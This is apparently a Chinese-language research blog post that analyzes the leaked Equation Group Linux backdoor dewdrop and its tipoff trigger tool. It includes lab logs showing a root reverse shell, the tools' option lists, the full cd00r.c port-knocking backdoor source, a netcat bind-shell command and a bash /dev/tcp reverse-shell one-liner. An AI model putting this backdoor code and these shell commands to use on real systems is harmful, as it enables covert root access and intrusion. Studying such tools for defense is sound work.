Equation DewDrop

作者根据EQGRP公开资料进行研究分析，研究相关工具的开发实现和攻击防御思路。

概述

随着时间的过去，越来越多的资料，越来越多的人员投入，对NSA下面的方程式渗透工具的了解也越来越深入。

本文尝试对dewdrop, dewdrop_tipoff进行分析。

基本信息

样本来自adamcaudill/EquationGroupLeak: Archive of leaked Equation Group materials (github.com)的公开样本，具体的信息如下。

```
sha1sum dewdrop_*
95399740a8cefa6e4b28a73b09bee84935c50586  dewdrop_tipoff__v__3.4.2.1_x86-linux
66ee9a8894edc5453bc70e1592069ad003ddb611  dewdrop__v__3.4.2.1_x86-linux
```

其中的tipoff来自Linux/bin/tipoffs/dewdrop_tipoff**v**3.4.2.1_x86-linux
dewdrop来自Linux/up/dewdrops/dewdrop**v**3.4.2.1_x86-linux

dewdrop的名字来自游戏《Thief II》，是一个稻草娃娃，可以使异教徒暂时失明，这个游戏是2000年发布的。

dewdrop需要部署到目标机上，可以通过tipoff来激活它。

运行方式

整个环境需要两台设备，一台是目标机，两一台是控制机。

在目标机上启动dewdrop。

```
ip addr show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 1000
    link/ether 08:00:27:4e:1a:69 brd ff:ff:ff:ff:ff:ff
    inet 172.19.2.14/24 brd 172.19.2.255 scope global eth0
    inet6 fe80::a00:27ff:fe4e:1a69/64 scope link
       valid_lft forever preferred_lft forever
[hacker@centos6x86 test]$ hostname
centos6x86.local
```

```
hacker@centos6x86 test]$ sudo ./dewdrop__v__3.4.2.1_x86-linux
[hacker@centos6x86 test]$ sudo ps -ef | grep dew
root     13590     1  0 21:19 ?        00:00:00 ./dewdrop__v__3.4.2.1_x86-linux
root     13591 13590  0 21:19 ?        00:00:00 ./dewdrop__v__3.4.2.1_x86-linux
hacker   13618  2377  0 21:19 pts/0    00:00:00 grep dew
```

在控制机上启动tipoff。

```
 ip addr show enp0s3
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
group default qlen 1000
    link/ether 08:00:27:dc:8e:89 brd ff:ff:ff:ff:ff:ff
    inet 172.19.2.15/24 brd 172.19.2.255 scope global noprefixroute enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fedc:8e89/64 scope link
       valid_lft forever preferred_lft forever
-bash-4.2$ hostname
centos7x86.local

sudo ./dewdrop_tipoff__v__3.4.2.1_x86-linux --trigger-address 172.19.2.14 --
target-address 172.19.2.14 --target-protocol tcp --target-port 1357 --callback-
address 172.19.2.15 --callback-port 2468 --start-ish
TRIGGER DATA
  COMMAND                 = 0x01
  DESTINATION ADDRESS     = 172.19.2.14:1357
  TRANSPORT PROTOCOL      = tcp (6)
  TIME STAMP              = Fri Aug 26 07:09:51 2022 (1661512191)
  TIME SKEW               = 43200
  CALLBACK ADDRESS        = 172.19.2.15:2468
  SOURCE PORT             = 49925
  TCP FLAGS               = ACK (0x10)
  START OF TRIGGER        = 0x163b

Waiting 2 seconds for ISH to start locally before sending trigger...

Invoking ISH on port 2468...
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
18758,1
Skipping environment dump...
bash-4.1#id&&hostname
uid=0(root) gid=0(root) groups=0(root)
```

```
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
centos6x86.local
```

tipoff可以通过向触发IP发送Knock Door包，来激活目标机上的dewdrop来反向连接到目标机。

运行分析

直接连接

dewdrop启动后，只是打开了fd 3,4两个文件描述符，指向了raw socket。具体的技术是bpf的内核驻留能力来实现Knock Door，所以只有在连接到tipoff的时候才有socket连接。

上面的例子是直接启动一个ish程序来作为telnet server，监听到2468端口。
在目标机上查看网络连接。

```
sudo netstat -anlpt | grep dew
tcp        0      0 172.19.2.14:49032           172.19.2.15:2468
ESTABLISHED 18758/./dewdrop__v_
```

建立连接后，得到一个反向shell，可以愉快地控制目标机。

tipoff 参数

目标机的IP配置。

```
./dewdrop_tipoff__v__3.4.2.1_x86-linux -h
usage: ./dewdrop_tipoff__v__3.4.2.1_x86-linux [options]

* -t, --destination-address address[:port]  - The address to send the trigger
packet to
+ -p, --destination-port port               - Port to use for sending trigger
  -R, --trigger-address address             - The target address to use in the
trigger
                                              command data, required when using
nat with
                                              a trigger packet.  The target
address is used
                                              by default.
* -a, --callback-address address[:port]     - The trigger callback address
* -c, --callback-port port                  - The trigger callback port
  -s, --source-address address[:port]       - Use this source address for the
trigger
  -u, --source-port port                    - Use this port when sending
tcp/udp
```

```
* -r, --protocol, --transport protocol      - Transport layer protocol used to
send trigger (tcp/udp/icmp)
  -A, --application protocol                - Application layer protocol used
to send trigger (dns/smtp/sip)
  -C, --command command                     - The command protocol
identification value.
  -E, --time time                           - The time to use, in seconds since
the epoch
  -K, --time-skew skew                      - The time skew to use, in seconds

  -M, --list-icmp-options                   - List typical icmp options
  -I, --icmp-options type,code              - icmp type and code fields

  -n, --raw-send [<address>:]port           - Send raw trigger packet data to
this address,
                                              port.  The default address is
localhost.
  -o, --tcp-connect                         - Establish tcp connection for
trigger
  -f, --tcp-flags flag[,flag]               - tcp flags (syn, fin, rst, push,
ack, urg)

  -L, --list-firewall-types                 - Print supported firewall types to
stdout
  -F, --bypass-firewall type                - Bypass firewall (types: pix)

  -m, --mail-from address                   - Use this as `from` address for
SMTP/SIP application protocol data
  -l, --rcpt-to address                     - Use this as `to` address for
SMTP/SIP application protocol data
  -d, --dns-flags bytes                     - The 16-bit dns flags value

  -U, --forward-offset                      - Use a forward offset trigger
packet
  -T, --start                               - The 16-bit start of trigger data
value

  -i, --start-ish                           - Start an incision callback
listener
  -x, --execute file                        - Use command 0x04 and start
execute call back listener with given file

  -q, --quiet                               - Do not print informational
messages
  -h, --help                                - This help message
```

```
* - Required parameter
+ - Required parameter when using TCP or UDP
```

根据命令参数，可以看出dewdrop/tipoff主要是提供一个反向连接，为了实现这个任务，有防火墙的绕过支持，也有替换ish的支持。

ish

ish主要功能与netcat类似，可以连接或者监听在某个端口，实现反弹shell。

这样的参数就是建立隧道的参数，在与tipoff配合的时候，这些参数不可配置。

```
ish -h
Usage: ish  [-8] [-E] [-K] [-L] [-X atype] [-a] [-d] [-e char] [-k realm]
        [-l user] [-n tracefile] [-r] [host-name [port]]


Extended Usage:
ish [-g ip:port] [-t ip:port] [-[i|c] ip[:port]] [-m <xterm|lost>] [-n]
  [-o <offset time>] [-p <port>] [-s <port>] [-v] <host-name>

  -g ip:port       gateway IP/port address to the tunnel
  -i ip[:port]     IP address target should connect to
  -c ip:port       IP/port of tunnel that target is connect to
  -W ip:port       IP/port of computer that will forward the raw packet
  -m xterm         run xterm on target
  -m lost          run our daemon in /lost+found
  -n               disable hiding from netstat
  -o offset time   [+/-] minutes of target clock
  -p port          use port <port> instead of ephemeral port
  -s port          to send TCP SYN packet trigger to <port> vice UDP
  -J                use ICMP destination/port unreachable packet
  -y                use ICMP echo request packet with DNS payload
  -Y                use ICMP echo request packet with ICMP payload
  -t ip:port       Start a tunneller process listening on IP/port
  -v               Verbose output
```

代码分析

dewdrop/tipoff使用了bpf来进行通信，这样更容易通过防火墙。
在2002年，有安全网站分析了一个bpf后门原型，我们先分析一些这个后门。

cd00r.c

```
/********
 * cdr_open_door() is called, when all port codes match
 * This function can be changed to whatever you like to do when the system
 * accepts the code
 ********/
void cdr_open_door(void) {
    FILE        *f;

    char        *args[] = {"/usr/sbin/xinetd","-f /tmp/.ind",NULL};

    switch (fork()) {
        case -1:
#ifdef DEBUG
            printf("fork() failed ! Fuck !\n");
#endif DEBUG
            return;
        case 0:
            /* To prevent zombies (inetd-zombies look quite stupid) we do
             * a second fork() */
            switch (fork()) {
                case -1: _exit(0);
                case 0: /*that's fine */
                         break;
                default: _exit(0);
            }
             break;

        default:
             wait(NULL);
             return;
    }

    if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
    fprintf(f,"5002  stream  tcp     nowait  root    /bin/sh  sh\n");
    fclose(f);

    execv("/usr/sbin/inetd",args);
#ifdef DEBUG
    printf("Strange return from execvp() !\n");
#endif DEBUG
    exit (0);
```

```
}

/* general rules in main():
 *      - errors force an exit without comment to keep the silence
 *      - errors in the initialization phase can be displayed by a
 *        command line option
 */
int main (int argc, char **argv) {

    /* variables for the pcap functions */
#define CDR_BPF_PORT    "port "
#define CDR_BPF_ORCON   " or "
    char                pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors
*/
    pcap_t              *cap;                       /* capture handler */
    bpf_u_int32         network,netmask;
    struct pcap_pkthdr  *phead;
    struct bpf_program  cfilter;                   /* the compiled filter */
    struct iphdr        *ip;
    struct tcphdr       *tcp;
    u_char              *pdata;
    /* for filter compilation */
    char                *filter;
    char                portnum[6];
    /* command line */
    int                 cdr_noise = 0;
    /* the usual int i */
    int                 i;
    /* for resolving the CDR_ADDRESS */
#ifdef CDR_ADDRESS
    struct hostent      *hent;
#endif CDR_ADDRESS



    /* check for the one and only command line argument */
    if (argc>1) {
        if (!strcmp(argv[1],CDR_NOISE_COMMAND))
            cdr_noise++;
        else
            exit (0);
    }

    /* resolve our address - if desired */
#ifdef CDR_ADDRESS
```

```
    if ((hent=gethostbyname(CDR_ADDRESS))==NULL) {
        if (cdr_noise)
            fprintf(stderr,"gethostbyname() failed\n");
        exit (0);
    }
#endif CDR_ADDRESS

    /* count the ports our user has #defined */
    while (cports[cportcnt++]);
    cportcnt--;
#ifdef DEBUG
    printf("%d ports used as code\n",cportcnt);
#endif DEBUG

    /* to speed up the capture, we create an filter string to compile.
     * For this, we check if the first port is defined and create it's filter,
     * then we add the others */

    if (cports[0]) {
        memset(&portnum,0,6);
        sprintf(portnum,"%d",cports[0]);
        filter=(char *)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1);
        strcpy(filter,CDR_BPF_PORT);
        strcat(filter,portnum);
    } else {
        if (cdr_noise)
            fprintf(stderr,"NO port code\n");
        exit (0);
    }

    /* here, all other ports will be added to the filter string which reads
     * like this:
     * port <1> or port <2> or port <3> ...
     * see tcpdump(1)
     */

    for (i=1;i<cportcnt;i++) {
        if (cports[i]) {
            memset(&portnum,0,6);
            sprintf(portnum,"%d",cports[i]);
            if ((filter=(char *)realloc(filter,
                            strlen(filter)+
                            strlen(CDR_BPF_PORT)+
                            strlen(portnum)+
                            strlen(CDR_BPF_ORCON)+1))
```

```
                    ==NULL) {
                if (cdr_noise)
                    fprintf(stderr,"realloc() failed\n");
                exit (0);
            }
            strcat(filter,CDR_BPF_ORCON);
            strcat(filter,CDR_BPF_PORT);
            strcat(filter,portnum);
        }
    }

#ifdef DEBUG
    printf("DEBUG: '%s'\n",filter);
#endif DEBUG

    /* initialize the pcap 'listener' */
    if (pcap_lookupnet(CDR_INTERFACE,&network,&netmask,pcap_err)!=0) {
        if (cdr_noise)
            fprintf(stderr,"pcap_lookupnet: %s\n",pcap_err);
        exit (0);
    }

    /* open the 'listener' */
    if ((cap=pcap_open_live(CDR_INTERFACE,CAPLENGTH,
                    0,  /*not in promiscuous mode*/
                    0,  /*no timeout */
                    pcap_err))==NULL) {
        if (cdr_noise)
            fprintf(stderr,"pcap_open_live: %s\n",pcap_err);
        exit (0);
    }

    /* now, compile the filter and assign it to our capture */
    if (pcap_compile(cap,&cfilter,filter,0,netmask)!=0) {
        if (cdr_noise)
            capterror(cap,"pcap_compile");
        exit (0);
    }
    if (pcap_setfilter(cap,&cfilter)!=0) {
        if (cdr_noise)
            capterror(cap,"pcap_setfilter");
        exit (0);
    }

    /* the filter is set - let's free the base string*/
```

```
    free(filter);
    /* allocate a packet header structure */
    phead=(struct pcap_pkthdr *)smalloc(sizeof(struct pcap_pkthdr));

    /* register signal handler */
    signal(SIGABRT,&signal_handler);
    signal(SIGTERM,&signal_handler);
    signal(SIGINT,&signal_handler);

    /* if we don't use DEBUG, let's be nice and close the streams */
#ifndef DEBUG
    fclose(stdin);
    fclose(stdout);
    fclose(stderr);
#endif DEBUG

    /* go daemon */
    switch (i=fork()) {
        case -1:
            if (cdr_noise)
                fprintf(stderr,"fork() failed\n");
            exit (0);
            break;      /* not reached */
        case 0:
            /* I'm happy */
            break;
        default:
            exit (0);
    }

    /* main loop */
    for(;;) {
        /* if there is no 'next' packet in time, continue loop */
        if ((pdata=(u_char *)pcap_next(cap,phead))==NULL) continue;
        /* if the packet is to small, continue loop */
        if (phead->len<=(ETHLENGTH+IP_MIN_LENGTH)) continue;

        /* make it an ip packet */
        ip=(struct iphdr *)(pdata+ETHLENGTH);
        /* if the packet is not IPv4, continue */
        if ((unsigned char)ip->version!=4) continue;
        /* make it TCP */
        tcp=(struct tcphdr *)(pdata+ETHLENGTH+((unsigned char)ip->ihl*4));

        /* FLAG check's - see rfc793 */
```

```
        /* if it isn't a SYN packet, continue */
        if (!(ntohs(tcp->rawflags)&0x02)) continue;
        /* if it is a SYN-ACK packet, continue */
        if (ntohs(tcp->rawflags)&0x10) continue;

#ifdef CDR_ADDRESS
        /* if the address is not the one defined above, let it be */
        if (hent) {
#ifdef DEBUG
            if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) {
                printf("Destination address mismatch\n");
                continue;
            }
#else
            if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length))
                continue;
#endif DEBUG
        }
#endif CDR_ADDRESS

        /* it is one of our ports, it is the correct destination
         * and it is a genuine SYN packet - let's see if it is the RIGHT
         * port */
        if (ntohs(tcp->dest_port)==cports[actport]) {
#ifdef DEBUG
            printf("Port %d is good as code part %d\n",ntohs(tcp->dest_port),
                    actport);
#endif DEBUG
#ifdef CDR_SENDER_ADDR
            /* check if the sender is the same */
            if (actport==0) {
                memcpy(&sender,&ip->saddr,4);
            } else {
                if (memcmp(&ip->saddr,&sender,4)) { /* sender is different */
                    actport=0;
#ifdef DEBUG
                    printf("Sender mismatch\n");
#endif DEBUG
                    continue;
                }
            }
#endif CDR_SENDER_ADDR
            /* it is the rigth port ... take the next one
             * or was it the last ??*/
            if ((++actport)==cportcnt) {
```

```
                /* BINGO */
                cdr_open_door();
                actport=0;
            } /* ups... some more to go */
        } else {
#ifdef CDR_CODERESET
            actport=0;
#endif CDR_CODERESET
            continue;
        }
    } /* end of main loop */

    /* this is actually never reached, because the signal_handler() does the
     * exit.
     */
    return 0;
}
```

整个流程如下：

1. 初始化cd00r变量、嗅探网卡、secret knock敲门端口等
2. 初始化libpcap类库，创建tcpdump规则。没有全端口监听，是为了减少CPU负载，增加隐蔽性。
3. 获取嗅探网卡的IP地址
4. 初始化数据包捕获设备
5. 创建规则字符串的过滤器，这里规则的执行，依赖BPF指令。
6. 关联过滤器与嗅探器
7. 开启守护进程fork
8. for循环处理每个过滤器后的网络包，判断是否与secret knock密码匹配，不匹配则跳过；如果secret knock密码匹配，则执行入侵者的代码，比如执行inetd进程。

因为上面的例子里面的inetd太老了，已经找不到能用的系统。
把执行监听的程序换成netcat。

```
system("/tmp/nc32 -lnp 5002 -e /bin/sh");
```

来代替excev，这样的执行效果和drewdrop就类似了。
只不过我们是正向连接shell，而不是反弹shell。当然可以修改代码，敲门后反向连接。

具体的执行过程如下。
在目标机上执行。

```
 sudo ./cd00r
5 ports used as code
DEBUG: 'port 200 or port 80 or port 22 or port 53 or port 3'
[hacker@centos6x86 test]$ Port 200 is good as code part 0
Port 80 is good as code part 1
Port 22 is good as code part 2
Port 53 is good as code part 3
Port 3 is good as code part 4
```

然后在控制机上执行。

```
./nc32 -z 172.19.2.14 200 80 22 53 3
-bash-4.2$ ./nc32 172.19.2.14 5002
pwd&&whoami&&hostname
/home/hacker/test
root
centos6x86.local
```

这里得到一个root权限的正向shell.

端口敲门的激活方式最重要的限制是防火墙，如果不能激活，查看防火墙配置。

dewdrop

dewdrop是静态编译的，有大量的库函数，看起来比较麻烦。最后找到一个容易分析的代码。DEWDROP-X86-LINUX\4.0.1.7\export\bin\i386-linux-gcc\release-cordialfodder-nothread\Dewdrop

主要的执行流程如下.

```
if ( !decode_804A3F0(a1, *(_DWORD *)(a2 + 8), a3, v9) )
{
  switch ( v9[0] )
  {
    case 4:
      v3 = cmd4_socket_804A180(v9);
      break;
    case 7:
      v3 = cmd7_execvp_8049FC0(v9);
      break;
    case 1:
      v3 = cmd1_bash_804A130(v9);
```

```
                break;
            }
```

支持三种指令，一个是socket进行连接，包括正向，反向。一个是执行命令，一个是执行bash的命令。
前面的例子就是socket连接，然后tipoff执行ish，这样就得到了一个反弹shell。

一个简单的例子如下.
在控制机上启动netcat。

```
./nc32 -lnp 5002
bash-4.2$ hostname
hostname
centos7x86.local
```

在目标机上执行。

```
bash -i >& /dev/tcp/172.19.2.14/5002 0>&1
```

就得到了一个反弹shell.

在了解了主要功能后，更加详细的分析，请参考盘古的分析报告。

总结

dewdrop从V3到V4，可以看出更加模块化，功能更加单纯。
攻击工具在平台化的演进道路上前进，应该会发展为如同windows下的平台fuzzbunch一样。

参考资料

1. x0rz/EQGRP: Decrypted content of eqgrp-auction-file.tar.xz (github.com)
2. Bvp47-美国NSA方程式组织的顶级后门 | 北京奇安盘古实验室科技有限公司 (pangulab.cn)
3. Knock Knock! Who's There? - An NSA VM (put.as)
4. 重复执行程序脚本 - Sayingの魔法书 (saying-yan.github.io)
5. 聊一聊《Bvp47 美国NSA方程式的顶级后门》中的BPF隐藏信道 - 知乎 (zhihu.com)
6. Bvp47-技术细节报告II | 北京奇安盘古实验室科技有限公司 (pangulab.cn)
7.